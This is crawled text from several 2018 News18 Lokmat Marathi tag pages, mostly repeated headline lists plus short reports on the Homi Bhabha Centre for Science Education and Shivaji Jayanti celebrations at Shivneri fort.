दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nगर्जा महाराष्ट्र : होमी भाभा विज्ञान शिक्षण केंद्र\nगर्जा महाराष्ट्र : होमी भाभा विज्ञान शिक्षण केंद्र\nएखादं राज्य किंवा देश जर आजच्या विज्ञान-तंत्रज्ञानाच्या युगात अग्रेसर होणं जरुरीचं असेल तर अगदी सुरुवातीपासूनच विज्ञाननिष्ठ दृष्टीकोन जोपासण्याची गरज असते. गरज असते ती विज्ञानात आवडीने काम करणारी माणसं तयार करण्याची. तिनं केवळ महाराष्ट्रासाठी नव्हे तर देशासाठी अगदी गावखेड्यापर्यंत विज्ञानाचाच विचार नेण्याचं काम केलंय. एचबीसीएसई... अर्थात होमी भाभा सेंटर फॉर सायन्स एज्युकेशन म्हणजेच होमी भाभा विज्ञान शिक्षण केंद्र. ज्याची स्थापना झाली १९७४ मध्ये. टाटा इन्स्टिट्यूट ऑफ फंडामेंटल रिसर्च, म्हणजेच टीआयएफआर या संस्थेचं हे एक राष्ट्रीय केंद्र आहे. ज्याचा मुख्य उद्देश आहे देशात वैज्ञानिक साक्षरतेच्या विकासासाठी प्रयत्न करणे, आणि विद्यालय शिक्षणापासून ते पदवीपर्यंत विज्ञान आणि गणित शिक्षणासाठी विद्यार्थ्यांना प्रोत्साहन देणे. सुरुवातीच्या काळात मुंबईतल्या ग्रँटरोड परिसरातील टोपीवाला हायस्कूलच्या दोन वर्गातून या संस्थेचं काम चालत होतं. इक्विटी, एक्सलन्स आणि रिसर्च म्हणजेच समता, उत्कृष्टता आणि संशोधन या त्रिसुत्रीवर आधारीत होमी भाभा विज्ञान शिक्षण केंद्राची दिशा ठरवली गेली. त्यानुसार गावागावात जाऊन, शाळा-शाळांमध्ये जाऊन शिक्षक आणि विद्यार्थ्यांमध्ये विज्ञानविषयक प्रबोधनाचं काम या संस्थेनं केलं. गावागावातील विद्यार्थ्यांना विज्ञान समजण्यास सोपं जावं म्हणून उपलब्ध वस्तूंमधूनच या संस्थेनं लो कॉस्ट कीट्स तयार केले, आणि ते ग्रामीण भागात वाटले, हसत-खेळत प्रयोगाच्या माध्यमातून या मुलांचं शंका-निरसन करून त्यांना विज्ञानाबद्दल आवड निर्माण कशी होईल यावर भर दिला. विज्ञान केवळ पाठ्यपुस्तकात बंद न राहता ते त्यातून बाहेर काढून मुलांच्या हातात कसं पोहोचेल, प्रत्यक्ष कृतीवर आधारीत उपक्रमांचा समावेश त्यात कसा करता येईल याकडे सातत्याने लक्ष पुरवल्याने लवकरच होमी भाभा विज्ञान केंद्राचं नाव देशात सर्वत्र झालं आणि विज्ञानातील शंका-समाधानांचं निराकरण करून घेण्यासाठी होमी भाभा विज्ञान केंद्र देशभरातील मुलांचं एक हक्काचं स्थान बनलं. मुलांच्या वेगवेगळ्या शंकांमधूनच शालेय स्तरावरील पाठ्यपुस्तकातलं विज्ञान आणि प्रत्यक्ष त्यांच्या जीवनातलं अनुभवातलं विज्ञान यातली तफावत कशी मिटवता येईल याचे प्रयत्न होमी भाभा विज्ञान शिक्षण केंद्रात सुरू झाले. राज्य आणि देशभरात विज्ञान साक्षरतेची मोहीम राबवताना संस्थेच्या लक्षात आलं की मुलांच्या त्यांच्या सोप्या भाषेतून जर शिकवलं तर त्यांना अधिक आकलन होतं. यासाठी विज्ञान शिक्षणातील संशोधनाला या केंद्रातून चालना मिळाली. आणि याचा पहिला प्रयोग झाला तो भाषेत. संस्थेच्या अनेक अधिका-यांना पाठ्यपुस्तक मंडळावर तसंच एनसीईआरटीच्या अभ्यासक्रमासाठी निमंत्रण दिलं गेलं. आज शैक्षणिक अभ्यासक्रमातील विज्ञान विषयाची भाषा सोपी करण्याकडे जो कल आहे ते या संस्थेच्या गेली दोन दशकं चालवलेल्या प्रयत्नांचं फलित आहे.\nविशेष कार्यक्रम रिपोर्ताज - वेबसीरिजचे स्पायडरमॅन\nमुख्यमंत्री देवेंद्र फडणवीस IBN लोकमतमध्ये\nकवीमनाचा जवान मनोज ठाकूरशी न्यूजरूम चर्चा\nराज ठाकरेंची संपूर्ण मुलाखत\nनितीशकुमार यांची विशेष मुलाखत\nकार्यक्रम June 3, 2013\nIBN लोकमतची इम्पॅकटफुल 5 वर्ष\nराज ठाकरेंच्या हस्ते 1000 कर्णबधिरांना श्रवणयंत्र वाटप\nआशा भोसलेंचा हृदयनाथ पुरस्कारानं गौरव\nयुवराजचा कँन्सर लढा पुस्तकरुपात\nबालहक्क आयोगाला अध्यक्षच नाही \nसभेत गडकरींना आली भोवळ\nमलाही संघर्ष करायचा नाही -राज ठाकरे\n'राज-अजितदादांचं भांडण पाहून वाईट वाटतं'\nजनतेच्या पैशांवर नेत्यांच्या शाही लग्नाचा थाट -निखिल वागळे\nस्त्री-पुरूष मुक्ती होण्यासाठी परस्पर संवाद गरजेचा -निखिल वागळे\n'विचारा मंत्र्यांना' सहभाग हर्षवर्धन पाटील\nकुपोषण हे मोठं आव्हान -सोनिया गांधी\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nमहाराष्ट्र, फोटो गॅलरी, स्पेशल स्टोरी\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\nAsia Cup 2018- धोनी कर्णधार बनताच टीम इंडिया झाली ‘चेन्नई सुपर किंग्स’\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00254.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%AE%E0%A5%81%E0%A4%B8%E0%A5%8D%E0%A4%B2%E0%A4%BF%E0%A4%AE/all/page-30/", "date_download": "2018-09-25T17:18:36Z", "digest": "sha1:T55K3NV4Q5JOC2DON2PTEZHNLF22CY4K", "length": 14208, "nlines": 140, "source_domain": "lokmat.news18.com", "title": "मुस्लिम- News18 Lokmat Official Website Page-30", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n19 फेब्रुवारीआज छत्रपती शिवाजी महाराज यांची जयंती...शिवाजी महाराजांचं जन्मस्थळ असलेल्या किल्ले शिवनेरीवर शासकीय शिवजयंती साजरी होतेय. राज्यभरातील शिवप्रेमींनी रात्रीपासूनच गर्दी केली आहे. गडदेवता शिवाई देवीचा महाभिषेक पुण्याचे जिल्हाधिकारी विकास देशमुख यांच्या हस्ते झाला. त्यानंतर मुख्यमंत्री पृथ्वीराज चव्हाण, उपमुख्यमंत्री अजित पवार, विधानसभा अध्यक्षांनी शिवनेरीवर येऊन शिवाजी महाराज आणि जिजाऊंच्या पुतळ्याला अभिवादन केलं. तीन वर्षांपूर्वी मराठा आरक्षणाच्या मुद्द्यावर जी हुल्लडबाजी झाली होती त्यामुळे आज मोठा पोलीस बंदोबस्त ठेवण्यात आला. शिवनेरीवर मुस्लिम ब्रिगेडकडून शिवजयंती साजरीतर शिवजयंतीनिमित्त राज्यभरातील शिवप्रेमींनी किल्ले शिवनेरीवर गर्दी केली. या गर्दीत लक्ष वेधणारा एक बॅनर आहे. तो म्हणजे छत्रपती शिवाजी मुस्लिम ब्रिगेडचा...निवृत्त लेफ्टनंट कर्नल सुरेश पाटील यांच्यासोबत शिवनेरीवरील सोहळ्यात राज्यातील मुस्लिम तरूण सहभागी झाले आहे. छत्रपती शिवाजी महाराजांचे मुस्लिम समाजाबाबतचे विचार देशभरात पोहोचवण्याचा प्रयत्न कर्नल सुरेश पाटील गेल्या 2 वर्षांपासून करत आहेत. रायगडावर शिवजयंती साजरीकिल्ले रायगडावरही आज शिवजयंती साजरी करण्यात आली. रायगड येथे स्वच्छता मोहिम राबवण्यात आली. रायगड जिल्ह्यातील महाड महसूल विभागाने ही मोहीम हाती घेतली होती. या मोहिमेत पोलादपूर, म्हसळा आणि श्रीवर्धन या तालुक्यातील दीडशे कर्मचारी सहभागी झाले होते.\nगुजरातचा रणसंग्राम : मुस्लीम मतदार कुणासोबत \nलालबागचा राजाचं मनमोहक रुप\nराज ठाकरे यांचं संपुर्ण भाषण\nशिवसेनेची खरी वृत्ती समोर आली - राज\nग्रेट भेट कविता करकरेंशी (भाग : 1)\nमराठी आरक्षणाचा मुद्दा आगामी निवडणुकांत कळीचा ठरेल का \nमराठी आरक्षणाचा मुद्दा आगामी निवडणुकांत कळीचा ठरेल का \nमराठी आरक्षणाचा मुद्दा आगामी निवडणुकांत कळीचा ठरेल का \nबॅरिस्टर अ.र. अंतुले यांच्या विधानामुळे काँग्रेसचं न भरून येणारं नुकसान झालंय का \nबॅरिस्टर अ.र. अंतुले यांच्या विधानामुळे काँग्रेसचं न भरून येणारं नुकसान झालंय का \nबॅरिस्टर अ.र.अंतुले यांच्या विधानामुळे काँग्रेसचं न भरून येणारं नुकसान झालंय का \nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00254.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%B5%E0%A4%BE%E0%A4%A6/news/", "date_download": "2018-09-25T17:03:55Z", "digest": "sha1:DY6CEZMLCCNOH6VG2MZQVA7Z5E7KEW4I", "length": 11558, "nlines": 144, "source_domain": "lokmat.news18.com", "title": "वाद- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nविसर्जनावेळी किरकोळ वादातून तिघांना जिवंत जाळण्याचा प्रयत्न, एकाला अटक\nगणेश विसर्जन मिरवणुकीत तीन जणांना जिवंत जाळण्याचा प्रयत्न करण्यात आल्याची गंभीर बाब उघडकीस आली आहे.\nमध्यप्रदेशातल्या हरदयाच्या शाळेत सव्वाशे वर्षांपासून घातली जाते गांधी टोपी\nBigg Boss: मॅच फिक्सिंगवर अखेर बोलला श्रीशांत\nBigg Boss 12: घरात येताच श्रीशांतने मोडले ३ नियम\nश्रीशांत बिग बाॅसचं घर सोडून जायला का निघाला\nसलमाननं 'लव्हरात्री'चं नाव बदललं आणि वाद थांबवला\nमुंबई काँग्रेसमधलं भांडण भाजप, शिवसेनेच्या पथ्यावर पडणार\nलालबाग राजाच्या दरबारात कार्यकर्त्यांची मुजोरी,पोलीस अधिकाऱ्याला धक्काबुक्की\nकर्नाटक सरकारच्या अडचणी वाढल्या, जारकीहोळी समर्थक आमदार मुंबईत येणार\nगोव्याच्या मुख्यमंत्रीपदी मनोहर पर्रीकरच\nक्रिकेट जगतात नवा वाद : ऑस्ट्रेलियाचा खेळाडू मोईनला म्हणाला होता 'ओसामा'\nआता या कारणामुळे पुन्हा चर्चेत आली औरंगाबाद महापालिका\nशाळांनी मदतीसाठी सरकारकडे भीक मागू नये - जावडेकरांच्या वक्तव्याने वाद\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00254.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/ganpati-festival-maharashtra/", "date_download": "2018-09-25T16:51:10Z", "digest": "sha1:ZAHYXL2KD7E5T3FBMDAK3F5FOMAJXSSO", "length": 10183, "nlines": 128, "source_domain": "lokmat.news18.com", "title": "Ganpati Festival Maharashtra- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nनिरोप देतो आता देवा, आज्ञा असावी \nपुण्यात विसर्जनादरम्यान हे रस्ते असणार बंद\nमिरवणुकीत 37 फुटी स्वराज्यरथ\nतरुण झाले पोलीस अधिकारी\nगणेश विसर्जनात पुणेकर झाले एका दिवसाचे पोलीस अधिकारी \nपुणे गणेश विसर्जनाचं महाकव्हरेज\nब्लॉग स्पेस Sep 25, 2015\nचला करूया सकारात्मकतेचा श्रीगणेशा...\nप्रेक्षकांचे बाप्पा (भाग ५)\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00254.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/kurbani/", "date_download": "2018-09-25T17:43:44Z", "digest": "sha1:UM5RWQZJWKCCKOFRQ3QLBPN5TF6SCFYA", "length": 8858, "nlines": 110, "source_domain": "lokmat.news18.com", "title": "Kurbani- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nबकरी ईदला किंग खानही देतो कुर्बानी\nकुर्बानी देण्यासाठी तयार - नवाज शरीफ\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं 